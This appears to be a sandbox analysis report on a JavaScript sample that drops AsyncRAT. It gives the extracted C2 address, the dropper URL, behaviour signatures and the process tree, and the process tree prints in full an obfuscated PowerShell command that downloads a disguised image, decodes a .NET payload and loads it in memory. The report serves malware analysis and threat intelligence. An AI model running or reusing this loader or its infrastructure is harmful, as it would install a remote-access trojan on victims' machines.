Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/08/2026, 17:16
General
- Target lxvldeos_CamNAlrl-lwnr/341-lmgeen.js
- Size 90KB
- Sample260824-vtbbxa1dkd
- SHA256 e30619c3f664ef2600f68653b8b08ac8a36a43ddd9ebc2a84a64da5b8e2940bd
Malware Config
Extracted
-
ps1
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fy%2Fx2222222222222222.png?alt=media&token=96305c36-19ca-4564-97fd-746a6647ecc4
Extracted
-
asyncrat
-
1.0.7
-
X2
-
acwawaw53535.1cooldns.com:6667
-
ddfdfd53535353535sddsd
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\lxvldeos_CamNAlrl-lwnr\341-lmgeen.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$parapsychology=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fy%2Fx2222222222222222.png?alt=media&token=96305c36-19ca-4564-97fd-746a6647ecc4''; $lackaday = [System.Net.HttpWebRequest]::Create($parapsychology); $lackaday.UserAgent = ''Mozilla/5.0''; $ostmannic = $lackaday.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($ostmannic); $symbranchii = $reader.ReadtoEnd(); $bhikkhu=''IN-''; $vagotropic=''-in1''; $subsulphate=[string]::IndexOf($symbranchii, $bhikkhu); $sagaciously=$symbranchii.LastIndexOf($vagotropic); if($subsulphate -eq -1 -or $sagaciously -eq -1){return}; $betol=$subsulphate+$bhikkhu.Length; $notarises=$symbranchii.Substring($symbranchii.IndexOf($bhikkhu)+$bhikkhu.Length, $sagaciously-($symbranchii.IndexOf($bhikkhu)+$bhikkhu.Length)); $soundpainting=$notarises.Replace(''*'',''A'').ToCharArray(); $likens = -join $soundpainting[($soundpainting.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($likens)); $benzoxadiazines=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $podometer=$benzoxadiazines.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $lacinulose=(''hI2FiMkUz3CyqavqadSdV4K001nLaeXrFZiz6gE88rDUIDo9b0dfXM3k7O6N3SLJzbbuAP+64FsCWl1NXjLVCgej6e8ezO430XCoPR660tSn11YyW0KhHnQUO8T0/6mGyciyqB9x1GOs3DktAdj0X5951zQcELqWMHeyz3JRAMqiaIovf8gpSP1ZeTGd8KUeX3jvpmOrrNhyZGVHb6hggg3YYyBlp1rokNsFbCrJ1o8='','''',''0Q4wjTZhnspNoe0F8676RDK7+E6fbauaC42UQg5g47eKiQk7xE7Qh+7yFVDSGA4f'',''uZpot+vk0ghtHPkFn3igNSk9An0AMOyT2tf2n9eA/vM='',''5RL/BNQBc7T5ZUO6dzmBcaqQoBKM5Rom/3WU6ZwXUkQ='','''',''YbhrInPqkUeDSMW8Y/tBFArcobs7GpipFHbQfmI0pyo='','''','''',''WSDq1HzwJJB/fmG1u/WfoiW8c7yjKMfaGtJ/12QZ7HDaoxBXOo8o+kjGrUTEOYTY'',''TStHbYCqyT4hmq82NsJCaaoCspHW4/NqeMeh8d1PPyU='',''SH3Z9Zm77Yh1224qYkMEiP5GZ9+XmHLmvOTDOeAiHqg='',''4Lb6BTXqMzTxu3KQoi0vmDDfRqVook4SVr74fVzPAG8='','''',''+kU7E/Fle18YMwT0knAMeXEV3vk/7VKH/99GXU5Hb7g='',''vd9RtF6jWekSqA5ltMMUAAT6ODv1pipiuS0HKQEUpP4='','''','''',''''); try{$cryptogam=($podometer.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($cryptogam.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$lacinulose)}catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3236-14-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-11-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-4-0x000001E85CAE0000-0x000001E85CB02000-memory.dmp
memory/3236-5-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-6-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-7-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-8-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-9-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-10-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-24-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-12-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-13-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-3-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-0-0x00007FFCAE0EF000-0x00007FFCAE0F0000-memory.dmp
memory/3236-22-0x000001E85CB60000-0x000001E85CC68000-memory.dmp
memory/3236-17-0x000001E85D130000-0x000001E85D202000-memory.dmp
memory/3236-18-0x000001E85D200000-0x000001E85D212000-memory.dmp
memory/3236-19-0x000001E85D000000-0x000001E85D00A000-memory.dmp
memory/3236-16-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/3236-15-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp
memory/4964-27-0x0000000005B30000-0x0000000005BCC000-memory.dmp
memory/4964-20-0x0000000000400000-0x0000000000412000-memory.dmp
memory/4964-23-0x0000000074952000-0x0000000074953000-memory.dmp
memory/4964-28-0x00000000064F0000-0x0000000006AAA000-memory.dmp
memory/4964-29-0x0000000005FA0000-0x0000000006006000-memory.dmp
memory/4964-30-0x0000000074952000-0x0000000074953000-memory.dmp